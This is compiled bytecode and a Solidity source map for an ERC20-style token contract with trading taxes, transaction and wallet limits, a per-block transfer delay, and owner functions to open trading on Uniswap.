0565b5f6103d33384846109b7565b5060015b92915050565b5f6103ea6009600a6117ec565b6103f890633b9aca006117fa565b905090565b5f610409848484610ada565b61045a84336104558560405180606001604052806028815260200161198e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d22565b6109b7565b5060019392505050565b5f546001600160a01b031633146104965760405162461bcd60e51b815260040161048d90611811565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105075760405162461bcd60e51b815260040161048d90611811565b6105136009600a6117ec565b61052190633b9aca006117fa565b600e556105306009600a6117ec565b61053e90633b9aca006117fa565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105786009600a6117ec565b61058690633b9aca006117fa565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105c25760405162461bcd60e51b815260040161048d90611811565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561060b9030906105fd6009600a6117ec565b61045590633b9aca006117fa565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067f9190611846565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106de573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107029190611846565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561074c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107709190611846565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107bb5760405162461bcd60e51b815260040161048d90611811565b6107c447610d5a565b565b5f6103d3338484610ada565b5f546001600160a01b031633146107fb5760405162461bcd60e51b815260040161048d90611811565b601354600160a01b900460ff16156108555760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048d565b6012546001600160a01b031663f305d7194730610886816001600160a01b03165f9081526001602052604090205490565b5f806108995f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ff573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109249190611861565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610979573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099d919061188c565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a195760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048d565b6001600160a01b038216610a7a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b3e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048d565b6001600160a01b038216610ba05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048d565b5f8111610c015760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048d565b6001600160a01b0383165f9081526003602052604081205460ff161580610c3557506013546001600160a01b038581169116145b601354909150600160b01b900460ff161580610c5a5750601354600160a81b900460ff165b15610d10576001600160a01b0384165f90815260016020526040902054610c819083610d99565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610caf9083610de1565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d029086815260200190565b60405180910390a350505050565b610d1c84848484610e3f565b50505050565b5f8184841115610d455760405162461bcd60e51b815260040161048d91906115f2565b505f610d5184866118ab565b95945050505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610d95573d5f803e3d5ffd5b5050565b5f610dda83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d22565b9392505050565b5f80610ded83856118be565b905083811015610dda5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048d565b5f80610e525f546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610e8057505f546001600160a01b03868116911614155b1561124457610eb16064610eab600a54600d5411610ea057600654610ea4565b6008545b8790611383565b90611401565b60055490925060ff1615610f97576012546001600160a01b03868116911614801590610eeb57506013546001600160a01b03868116911614155b15610f9757325f908152600460205260409020544311610f855760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161048d565b325f9081526004602052604090204390555b8215610fe35782610fb657610fb1600a610eab86826117fa565b610fd6565b610fd66001610fc586846118be565b610fd09060016118be565b90610d99565b610fe090826118be565b90505b6013546001600160a01b03878116911614801561100e57506012546001600160a01b03868116911614155b801561103257506001600160a01b0385165f9081526003602052604090205460ff16155b1561111857600e548411156110895760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161048d565b600f54846110ab876001600160a01b03165f9081526001602052604090205490565b6110b591906118be565b11156111035760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161048d565b600d8054905f611112836118d1565b91905055505b6013546001600160a01b03868116911614801561113e57506001600160a01b0386163014155b1561116b576111686064610eab600b54600d541161115e57600754610ea4565b6009548790611383565b91505b305f90815260016020526040902054601354600160a81b900460ff161580156111a157506013546001600160a01b038781169116145b80156111b65750601354600160b01b900460ff165b80156111c55750600c54600d54115b80156111e957506001600160a01b0387165f9081526003602052604090205460ff16155b801561120d57506001600160a01b0386165f9081526003602052604090205460ff16155b1561124257601054811115611239576112396112348661122f84601154611442565b611442565b611456565b61124247610d5a565b505b81156112bc57305f908152600160205260409020546112639083610de1565b305f81815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112b39086815260200190565b60405180910390a35b6001600160a01b0386165f908152600160205260409020546112de9082610d99565b6001600160a01b0387165f908152600160205260409020556113216113038584610d99565b6001600160a01b0387165f9081526001602052604090205490610de1565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61136a8786610d99565b60405190815260200160405180910390a3505050505050565b5f825f0361139257505f6103d7565b5f61139d83856117fa565b9050826113aa85836118e9565b14610dda5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048d565b5f610dda83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115c6565b5f8183116114505782610dda565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061149c5761149c611908565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115179190611846565b8160018151811061152a5761152a611908565b6001600160a01b03928316602091820292909201015260125461155091309116846109b7565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906115889085905f9086903090429060040161191c565b5f604051808303815f87803b15801561159f575f80fd5b505af11580156115b1573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b5f81836115e65760405162461bcd60e51b815260040161048d91906115f2565b505f610d5184866118e9565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461163b575f80fd5b50565b5f806040838503121561164f575f80fd5b823561165a81611627565b946020939093013593505050565b5f805f6060848603121561167a575f80fd5b833561168581611627565b9250602084013561169581611627565b929592945050506040919091013590565b5f602082840312156116b6575f80fd5b8135610dda81611627565b5f80604083850312156116d2575f80fd5b82356116dd81611627565b915060208301356116ed81611627565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174657815f190482111561172c5761172c6116f8565b8085161561173957918102915b93841c9390800290611711565b509250929050565b5f8261175c575060016103d7565b8161176857505f6103d7565b816001811461177e5760028114611788576117a4565b60019150506103d7565b60ff841115611799576117996116f8565b50506001821b6103d7565b5060208310610133831016604e8410600b84101617156117c7575081810a6103d7565b6117d1838361170c565b805f19048211156117e4576117e46116f8565b029392505050565b5f610dda60ff84168361174e565b80820281158282048414176103d7576103d76116f8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611856575f80fd5b8151610dda81611627565b5f805f60608486031215611873575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561189c575f80fd5b81518015158114610dda575f80fd5b818103818111156103d7576103d76116f8565b808201808211156103d7576103d76116f8565b5f600182016118e2576118e26116f8565b5060010190565b5f8261190357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561196c5784516001600160a01b031683529383019391830191600101611947565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206b9d9f1681450e9448564ffe508127491266ea76496208914647be446ff3fba564736f6c63430008190033

4185:9397:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6535:83;;;;;;;;;;-1:-1:-1;6605:5:0;;;;;;;;;;;;;;;;;6535:83;;;;;;;:::i;:::-;;;;;;;;7418:186;;;;;;;;;;-1:-1:-1;7418:186:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;7418:186:0;893:187:1;5377:55:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;5377:55:0;1085:177:1;6812:95:0;;;;;;;;;;;;;:::i;7612:446::-;;;;;;;;;;-1:-1:-1;7612:446:0;;;;;:::i;:::-;;:::i;6721:83::-;;;;;;;;;;-1:-1:-1;6721:83:0;;4982:1;1870:36:1;;1858:2;1843:18;6721:83:0;1728:184:1;6915:119:0;;;;;;;;;;-1:-1:-1;6915:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7008:18:0;6981:7;7008:18;;;:9;:18;;;;;;;6915:119;3216:148;;;;;;;;;;;;;:::i;:::-;;12636:201;;;;;;;;;;;;;:::i;5186:56::-;;;;;;;;;;;;;;;;3002:79;;;;;;;;;;-1:-1:-1;3040:7:0;3067:6;3002:79;;-1:-1:-1;;;;;3067:6:0;;;2315:51:1;;2303:2;2288:18;3002:79:0;2169:203:1;5249:58:0;;;;;;;;;;;;;;;;6626:87;;;;;;;;;;-1:-1:-1;6698:7:0;;;;;;;;;;;;-1:-1:-1;;;6698:7:0;;;;6626:87;;6136:391;;;;;;;;;;;;;:::i;12945:96::-;;;;;;;;;;;;;:::i;7042:192::-;;;;;;;;;;-1:-1:-1;7042:192:0;;;;;:::i;:::-;;:::i;5314:56::-;;;;;;;;;;;;;;;;4522:40;;;;;;;;;;-1:-1:-1;4522:40:0;;;;;;;;13049:493;;;;;;;;;;;;;:::i;7242:168::-;;;;;;;;;;-1:-1:-1;7242:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7375:18:0;;;7348:7;7375:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7242:168;7418:186;7518:4;7535:39;629:10;7558:7;7567:6;7535:8;:39::i;:::-;-1:-1:-1;7592:4:0;7418:186;;;;;:::o;6812:95::-;6865:7;5038:15;4982:1;5038:2;:15;:::i;:::-;5025:28;;:10;:28;:::i;:::-;6885:14;;6812:95;:::o;7612:446::-;7744:4;7761:36;7771:6;7779:9;7790:6;7761:9;:36::i;:::-;7808:220;7831:6;629:10;7879:138;7935:6;7879:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7879:19:0;;;;;;:11;:19;;;;;;;;629:10;7879:33;;;;;;;;;;:37;:138::i;:::-;7808:8;:220::i;:::-;-1:-1:-1;8046:4:0;7612:446;;;;;:::o;3216:148::-;3129:6;;-1:-1:-1;;;;;3129:6:0;629:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;;;;;;;;;3323:1:::1;3307:6:::0;;3286:40:::1;::::0;-1:-1:-1;;;;;3307:6:0;;::::1;::::0;3286:40:::1;::::0;3323:1;;3286:40:::1;3354:1;3337:19:::0;;-1:-1:-1;;;;;;3337:19:0::1;::::0;;3216:148::o;12636:201::-;3129:6;;-1:-1:-1;;;;;3129:6:0;629:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;5038:15:::1;4982:1;5038:2;:15;:::i;:::-;5025:28;::::0;:10:::1;:28;:::i;:::-;12690:12;:22:::0;5038:15:::1;4982:1;5038:2;:15;:::i;:::-;5025:28;::::0;:10:::1;:28;:::i;:::-;12723:14;:24:::0;12758:20:::1;:28:::0;;-1:-1:-1;;12758:28:0::1;::::0;;12802:27:::1;5038:15;4982:1;-1:-1:-1::0;5038:15:0::1;:::i;:::-;5025:28;::::0;:10:::1;:28;:::i;:::-;12802:27;::::0;1231:25:1;;;1219:2;1204:18;12802:27:0::1;;;;;;;12636:201::o:0;6136:391::-;3129:6;;-1:-1:-1;;;;;3129:6:0;629:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;6188:15:::1;:104:::0;;-1:-1:-1;;;;;;6188:104:0::1;6239:42;6188:104:::0;;::::1;::::0;;;6303:58:::1;::::0;6320:4:::1;::::0;5038:15:::1;4982:1;5038:2;:15;:::i;:::-;5025:28;::::0;:10:::1;:28;:::i;6303:58::-;6406:15;;;;;;;;;-1:-1:-1::0;;;;;6406:15:0::1;-1:-1:-1::0;;;;;6406:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6388:55:0::1;;6466:4;6486:15;;;;;;;;;-1:-1:-1::0;;;;;6486:15:0::1;-1:-1:-1::0;;;;;6486:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6388:131;::::0;-1:-1:-1;;;;;;6388:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5299:15:1;;;6388:131:0::1;::::0;::::1;5281:34:1::0;5351:15;;5331:18;;;5324:43;5216:18;;6388:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6372:13;:147:::0;;-1:-1:-1;;;;;;6372:147:0::1;-1:-1:-1::0;;;;;6372:147:0;;;::::1;::::0;;;::::1;::::0;;6136:391::o;12945:96::-;3129:6;;-1:-1:-1;;;;;3129:6:0;629:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;12998:35:::1;13011:21;12998:12;:35::i;:::-;12945:96::o:0;7042:192::-;7145:4;7162:42;629:10;7186:9;7197:6;7162:9;:42::i;13049:493::-;3129:6;;-1:-1:-1;;;;;3129:6:0;629:10;3129:22;3121:67;;;;-1:-1:-1;;;3121:67:0;;;;;;;:::i;:::-;13111:11:::1;::::0;-1:-1:-1;;;13111:11:0;::::1;;;13110:12;13102:48;;;::::0;-1:-1:-1;;;13102:48:0;;5580:2:1;13102:48:0::1;::::0;::::1;5562:21:1::0;5619:2;5599:18;;;5592:30;5658:25;5638:18;;;5631:53;5701:18;;13102:48:0::1;5378:347:1::0;13102:48:0::1;13171:15;::::0;-1:-1:-1;;;;;13171:15:0::1;:31;13210:21;13255:4;13275:24;13255:4:::0;-1:-1:-1;;;;;7008:18:0;6981:7;7008:18;;;:9;:18;;;;;;;6915:119;13275:24:::1;13314:1;13330::::0;13346:7:::1;3040::::0;3067:6;-1:-1:-1;;;;;3067:6:0;;3002:79;13346:7:::1;13171:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13171:223:0;;;-1:-1:-1;;;;;6089:15:1;;;13171:223:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;13368:15:0::1;6303:19:1::0;;;6296:35;6005:19;;13171:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13412:13:0::1;::::0;13443:15:::1;::::0;13405:71:::1;::::0;-1:-1:-1;;;13405:71:0;;-1:-1:-1;;;;;13443:15:0;;::::1;13405:71;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;13412:13:0;::::1;::::0;-1:-1:-1;13405:29:0::1;::::0;6800:18:1;;13405:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13487:11:0::1;:18:::0;;-1:-1:-1;;;;13516:18:0;-1:-1:-1;;;13516:18:0;;;13049:493::o;8066:335::-;-1:-1:-1;;;;;8159:19:0;;8151:68;;;;-1:-1:-1;;;8151:68:0;;7416:2:1;8151:68:0;;;7398:21:1;7455:2;7435:18;;;7428:30;7494:34;7474:18;;;7467:62;-1:-1:-1;;;7545:18:1;;;7538:34;7589:19;;8151:68:0;7214:400:1;8151:68:0;-1:-1:-1;;;;;8238:21:0;;8230:68;;;;-1:-1:-1;;;8230:68:0;;7821:2:1;8230:68:0;;;7803:21:1;7860:2;7840:18;;;7833:30;7899:34;7879:18;;;7872:62;-1:-1:-1;;;7950:18:1;;;7943:32;7992:19;;8230:68:0;7619:398:1;8230:68:0;-1:-1:-1;;;;;8309:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8361:32;;1231:25:1;;;8361:32:0;;1204:18:1;8361:32:0;;;;;;;8066:335;;;:::o;11341:681::-;-1:-1:-1;;;;;11429:18:0;;11421:68;;;;-1:-1:-1;;;11421:68:0;;8224:2:1;11421:68:0;;;8206:21:1;8263:2;8243:18;;;8236:30;8302:34;8282:18;;;8275:62;-1:-1:-1;;;8353:18:1;;;8346:35;8398:19;;11421:68:0;8022:401:1;11421:68:0;-1:-1:-1;;;;;11508:16:0;;11500:64;;;;-1:-1:-1;;;11500:64:0;;8630:2:1;11500:64:0;;;8612:21:1;8669:2;8649:18;;;8642:30;8708:34;8688:18;;;8681:62;-1:-1:-1;;;8759:18:1;;;8752:33;8802:19;;11500:64:0;8428:399:1;11500:64:0;11592:1;11583:6;:10;11575:64;;;;-1:-1:-1;;;11575:64:0;;9034:2:1;11575:64:0;;;9016:21:1;9073:2;9053:18;;;9046:30;9112:34;9092:18;;;9085:62;-1:-1:-1;;;9163:18:1;;;9156:39;9212:19;;11575:64:0;8832:405:1;11575:64:0;-1:-1:-1;;;;;11668:24:0;;11652:12;11668:24;;;:18;:24;;;;;;;;11667:25;;:50;;-1:-1:-1;11704:13:0;;-1:-1:-1;;;;;11696:21:0;;;11704:13;;11696:21;11667:50;11735:11;;11652:65;;-1:-1:-1;;;;11735:11:0;;;;11734:12;;:22;;-1:-1:-1;11750:6:0;;-1:-1:-1;;;11750:6:0;;;;11734:22;11730:223;;;-1:-1:-1;;;;;11791:15:0;;;;;;:9;:15;;;;;;:27;;11811:6;11791:19;:27::i;:::-;-1:-1:-1;;;;;11773:15:0;;;;;;;:9;:15;;;;;;:45;;;;11849:13;;;;;;;:25;;11867:6;11849:17;:25::i;:::-;-1:-1:-1;;;;;11833:13:0;;;;;;;:9;:13;;;;;;;:41;;;;11894:26;;;;;;;;;;11913:6;1231:25:1;;1219:2;1204:18;;1085:177;11894:26:0;;;;;;;;11935:7;11341:681;;;:::o;11730:223::-;11973:41;11988:4;11994:2;11998:6;12006:7;11973:14;:41::i;:::-;11410:612;11341:681;;;:::o;1804:224::-;1924:7;1960:12;1952:6;;;;1944:29;;;;-1:-1:-1;;;1944:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1984:9:0;1996:5;2000:1;1996;:5;:::i;:::-;1984:17;1804:224;-1:-1:-1;;;;;1804:224:0:o;12845:92::-;12902:10;;:27;;:10;;;;-1:-1:-1;;;;;12902:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12845:92;:::o;1660:136::-;1718:7;1745:43;1749:1;1752;1745:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1738:50;1660:136;-1:-1:-1;;;1660:136:0:o;1473:179::-;1531:7;;1563:5;1567:1;1563;:5;:::i;:::-;1551:17;;1592:1;1587;:6;;1579:46;;;;-1:-1:-1;;;1579:46:0;;9707:2:1;1579:46:0;;;9689:21:1;9746:2;9726:18;;;9719:30;9785:29;9765:18;;;9758:57;9832:18;;1579:46:0;9505:351:1;8409:2924:0;8510:17;8533:15;8575:7;3040;3067:6;-1:-1:-1;;;;;3067:6:0;;3002:79;8575:7;-1:-1:-1;;;;;8567:15:0;:4;-1:-1:-1;;;;;8567:15:0;;;:32;;;;-1:-1:-1;3040:7:0;3067:6;-1:-1:-1;;;;;8586:13:0;;;3067:6;;8586:13;;8567:32;8563:2362;;;8628:209;8833:3;8628:182;8693:15;;8681:9;;:27;8680:111;;8777:14;;8680:111;;;8737:12;;8680:111;8628:7;;:29;:182::i;:::-;:204;;:209::i;:::-;8858:20;;8616:221;;-1:-1:-1;8858:20:0;;8854:522;;;8939:15;;-1:-1:-1;;;;;8925:30:0;;;8939:15;;8925:30;;;;:83;;-1:-1:-1;8994:13:0;;-1:-1:-1;;;;;8980:28:0;;;8994:13;;8980:28;;8925:83;8899:462;;;9114:9;9085:39;;;;:28;:39;;;;;;9127:12;-1:-1:-1;9051:213:0;;;;-1:-1:-1;;;9051:213:0;;10063:2:1;9051:213:0;;;10045:21:1;10102:2;10082:18;;;10075:30;10141:34;10121:18;;;10114:62;10212:34;10192:18;;;10185:62;-1:-1:-1;;;10263:19:1;;;10256:40;10313:19;;9051:213:0;9861:477:1;9051:213:0;9316:9;9287:39;;;;:28;:39;;;;;9329:12;9287:54;;8899:462;9395:7;9392:78;;;9414:7;:55;;9449:20;9466:2;9450:10;9453:7;9466:2;9450:10;:::i;9449:20::-;9414:55;;;9422:26;9446:1;9423:15;9431:7;9423;:15;:::i;:::-;:17;;9439:1;9423:17;:::i;:::-;9422:23;;:26::i;:::-;9404:66;;;;:::i;:::-;;;9392:78;9517:13;;-1:-1:-1;;;;;9509:21:0;;;9517:13;;9509:21;:72;;;;-1:-1:-1;9565:15:0;;-1:-1:-1;;;;;9551:30:0;;;9565:15;;9551:30;;9509:72;:116;;;;-1:-1:-1;;;;;;9603:22:0;;;;;;:18;:22;;;;;;;;9602:23;9509:116;9487:440;;;9679:12;;9668:7;:23;;9660:61;;;;-1:-1:-1;;;9660:61:0;;10545:2:1;9660:61:0;;;10527:21:1;10584:2;10564:18;;;10557:30;10623:27;10603:18;;;10596:55;10668:18;;9660:61:0;10343:349:1;9660:61:0;9797:14;;9786:7;9770:13;9780:2;-1:-1:-1;;;;;7008:18:0;6981:7;7008:18;;;:9;:18;;;;;;;6915:119;9770:13;:23;;;;:::i;:::-;:41;;9740:141;;;;-1:-1:-1;;;9740:141:0;;10899:2:1;9740:141:0;;;10881:21:1;10938:2;10918:18;;;10911:30;10977:28;10957:18;;;10950:56;11023:18;;9740:141:0;10697:350:1;9740:141:0;9900:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9487:440;9953:13;;-1:-1:-1;;;;;9947:19:0;;;9953:13;;9947:19;:44;;;;-1:-1:-1;;;;;;9970:21:0;;9986:4;9970:21;;9947:44;9943:333;;;10024:236;10256:3;10024:205;10097:16;;10085:9;;:28;10084:122;;10191:15;;10084:122;;;10146:13;;10024:7;;:33;:205::i;:236::-;10012:248;;9943:333;10341:4;10292:28;7008:18;;;:9;:18;;;;;;10385:6;;-1:-1:-1;;;10385:6:0;;;;10384:7;:47;;;;-1:-1:-1;10418:13:0;;-1:-1:-1;;;;;10412:19:0;;;10418:13;;10412:19;10384:47;:79;;;;-1:-1:-1;10452:11:0;;-1:-1:-1;;;10452:11:0;;;;10384:79;:130;;;;;10496:18;;10484:9;;:30;10384:130;:176;;;;-1:-1:-1;;;;;;10536:24:0;;;;;;:18;:24;;;;;;;;10535:25;10384:176;:220;;;;-1:-1:-1;;;;;;10582:22:0;;;;;;:18;:22;;;;;;;;10581:23;10384:220;10362:552;;;10665:17;;10642:20;:40;10639:206;;;10707:118;10750:52;10754:7;10763:38;10767:20;10789:11;;10763:3;:38::i;:::-;10750:3;:52::i;:::-;10707:16;:118::i;:::-;10863:35;10876:21;10863:12;:35::i;:::-;8601:2324;8563:2362;10941:13;;10937:204;;11016:4;10998:24;;;;:9;:24;;;;;;:71;;11045:9;10998:28;:71::i;:::-;10989:4;10971:24;;;;:9;:24;;;;;;;:98;;;;11089:40;;-1:-1:-1;;;;;11089:40:0;;;;;;;11119:9;1231:25:1;;1219:2;1204:18;;1085:177;11089:40:0;;;;;;;;10937:204;-1:-1:-1;;;;;11171:15:0;;;;;;:9;:15;;;;;;:28;;11191:7;11171:19;:28::i;:::-;-1:-1:-1;;;;;11153:15:0;;;;;;:9;:15;;;;;:46;11226:41;11244:22;:7;11256:9;11244:11;:22::i;:::-;-1:-1:-1;;;;;11226:13:0;;;;;;:9;:13;;;;;;;:17;:41::i;:::-;-1:-1:-1;;;;;11210:13:0;;;;;;;:9;:13;;;;;:57;;;;11283:42;;;11302:22;:7;11314:9;11302:11;:22::i;:::-;11283:42;;1231:25:1;;;1219:2;1204:18;11283:42:0;;;;;;;8498:2835;;8409:2924;;;;:::o;2036:246::-;2094:7;2118:1;2123;2118:6;2114:47;;-1:-1:-1;2148:1:0;2141:8;;2114:47;2171:9;2183:5;2187:1;2183;:5;:::i;:::-;2171:17;-1:-1:-1;2216:1:0;2207:5;2211:1;2171:17;2207:5;:::i;:::-;:10;2199:56;;;;-1:-1:-1;;;2199:56:0;;11616:2:1;2199:56:0;;;11598:21:1;11655:2;11635:18;;;11628:30;11694:34;11674:18;;;11667:62;-1:-1:-1;;;11745:18:1;;;11738:31;11786:19;;2199:56:0;11414:397:1;2290:132:0;2348:7;2375:39;2379:1;2382;2375:39;;;;;;;;;;;;;;;;;:3;:39::i;12030:107::-;12087:7;12119:1;12115;:5;12114:15;;12128:1;12114:15;;;-1:-1:-1;12124:1:0;12030:107;-1:-1:-1;12030:107:0:o;12145:483::-;5716:6;:13;;-1:-1:-1;;;;5716:13:0;-1:-1:-1;;;5716:13:0;;;12247:16:::1;::::0;;12261:1:::1;12247:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12247:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12247:16:0::1;12223:40;;12292:4;12274;12279:1;12274:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12274:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12318:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12318:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12274:7;;12318:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12308:4;12313:1;12308:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12308:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12383:15:::1;::::0;12351:62:::1;::::0;12368:4:::1;::::0;12383:15:::1;12401:11:::0;12351:8:::1;:62::i;:::-;12424:15;::::0;:196:::1;::::0;-1:-1:-1;;;12424:196:0;;-1:-1:-1;;;;;12424:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12505:11;;12424:15:::1;::::0;12547:4;;12574::::1;::::0;12594:15:::1;::::0;12424:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5752:6:0;:14;;-1:-1:-1;;;;5752:14:0;;;-1:-1:-1;;;;12145:483:0:o;2430:223::-;2550:7;2585:12;2578:5;2570:28;;;;-1:-1:-1;;;2570:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2609:9:0;2621:5;2625:1;2621;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;